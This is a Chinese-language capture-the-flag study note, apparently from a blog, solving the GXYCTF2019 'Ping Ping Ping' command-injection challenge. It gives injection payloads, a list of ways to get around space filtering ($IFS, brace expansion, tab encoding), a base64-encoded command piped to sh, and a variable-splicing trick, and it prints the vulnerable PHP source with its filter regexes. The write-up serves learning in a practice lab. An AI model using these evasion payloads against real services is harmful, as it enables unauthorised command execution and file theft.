【学习笔记1】buu [GXYCTF2019]Ping Ping Ping
 

打开网站后,一眼就看到这样的提示,让你传个ip,传一下试试是什么,这里我们就用127.0.0.1试试

 

 
【学习笔记1】buu [GXYCTF2019]Ping Ping Ping
 

发现这是这是ping了一下传的ip,那这就是经典的命令执行了,首先执行ls看看都有什么文件

 

 
【学习笔记1】buu [GXYCTF2019]Ping Ping Ping
 

有flag.php,index.php两个,很明显flag就在flag.php里,首先所以可以尝试构造怕payload

/?ip=127.0.0.1|cat flag.php

不行,返回了这个/?ip= fxck your space!,说明空格被过滤了,那我们就要想办法用什么东西代替空格来绕过,大致有以下几种

$IFS

${IFS}

$IFS$1 //$1改成$加其他数字都可以

<

<>

{cat,flag.php}  //用逗号实现了空格功能

%20

%09

首先尝试<>,{cat,flag.php},${IFS},<绕过失败,显示该符号被过滤了

之后%20,%09,这里会把它转成空格来识别,失败

最后用$IFS,$IFS$1符号绕过成功,但是又出现其他情况

 

 
【学习笔记1】buu [GXYCTF2019]Ping Ping Ping
 

flag这个字符被过滤了,那我们这时候试试index.php,用下面payload查看index.php

/?ip=127.0.0.1|cat$IFS$1index.php

得到index.php代码如下

/?ip=

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){

    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);

    die("fxck your symbol!");

  } else if(preg_match("/ /", $ip)){

    die("fxck your space!");

  } else if(preg_match("/bash/", $ip)){

    die("fxck your bash!");

  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){

    die("fxck your flag!");

  }

  $a = shell_exec("ping -c 4 ".$ip);

  echo "

";

  print_r($a);

}

?>

可以看到,这里过滤掉了一堆字符,16进制,ascii码,空格,/,bash,已经各种flag的匹配

所以这里利用/,*,'',这几种符号构成的fl/ag,fl*,fl''ag这些绕过方法全部扑街

但是,虽然过滤了bash,但是liunx下还可以用sh,这时候就可以构造payload,用base64加密一下flag这个字符,最终构造如下payload

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh//这里的Y2F0IGZsYWcucGhw就是用base64加密的flag.php,后面的‘|sh’就是执行前面的echo脚本

最终在源码里找到flag

后来看到大佬的wp,说存在$a的变量覆盖,可以利用拼接变量的方法来解题,所以还可以构造这样的payload

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

同样可以得到flag,厉害!

分类:

技术点:

相关文章: